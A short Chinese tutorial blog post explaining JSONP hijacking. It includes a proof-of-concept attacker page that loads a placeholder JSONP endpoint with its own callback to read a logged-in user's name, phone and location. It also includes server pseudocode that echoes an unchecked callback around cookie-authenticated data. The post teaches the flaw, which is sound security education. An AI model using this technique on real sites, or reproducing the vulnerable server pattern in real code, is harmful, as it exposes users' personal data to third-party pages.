深入理解JSONP劫持

我比较笨研究了好久才理解

http://www.xxx.com/xxx.do?callback=info
json格式:
{"name":"Jack","phone":"18888888888","location":"NanJin"}
jsonp响应格式:
info({"name":"Jack","phone":"18888888888","location":"NanJin"})

jsonp响应其实是一句js代码:
执行info() 函数 ,{"name":"Jack","phone":"18888888888","location":"NanJin"}作为传参

hack页面:http://hack.html
<script>
function info(data){alert(JSON.stringify(data)); }
</script>
<script src="http://www.xxx.com/xxx.do?callback=info"></script>

hack页面完全引入后相当于:
<script>
function info(data){ alert(JSON.stringify(data)); }
info({"name":"Jack","phone":"18888888888","location":"NanJin"})
</script>

http://www.xxx.com/xxx.do服务器伪代码:
//获取callback的值
$name=$_GET["callback"];
//利用cookie中的token从数据库获取用户信息
$result=查库并返回结果
//返回信息
$name+"("+$result+")"
//放到实际例子就是这样的
info({"name":"Jack","phone":"18888888888","location":"NanJin"})

猜你喜欢

转载自www.cnblogs.com/mkdd/p/9989943.html